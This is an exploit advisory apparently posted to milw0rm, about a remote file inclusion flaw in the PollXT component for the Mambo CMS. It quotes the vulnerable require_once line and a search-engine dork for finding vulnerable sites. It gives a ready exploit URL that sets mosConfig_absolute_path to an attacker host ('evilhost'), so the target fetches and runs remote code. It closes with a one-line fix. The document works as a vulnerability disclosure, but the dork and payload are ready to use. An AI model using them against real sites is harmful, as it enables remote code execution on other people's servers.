26 lines
No EOL
589 B
Text
26 lines
No EOL
589 B
Text
Application : pollxt mambo Component
|
|
|
|
URL : http://www.mamboxt.com
|
|
|
|
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
|
|
in components/com_pollxt/conf.pollxt.php on line 1-2
|
|
|
|
require_once($mosConfig_absolute_path."/administrator/components/com_pollxt/pollxt.class.php");
|
|
|
|
Exploit:
|
|
~~~~~~~~
|
|
|
|
dork: inurl:"com_pollxt"
|
|
|
|
http://www.vuln.com/components/com_pollxt/conf.pollxt.php?mosConfig_absol
|
|
ute_path=http://evilhost
|
|
|
|
Fix
|
|
~~~~
|
|
|
|
Add before code:
|
|
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');
|
|
|
|
vitux
|
|
|
|
# milw0rm.com [2006-07-17] |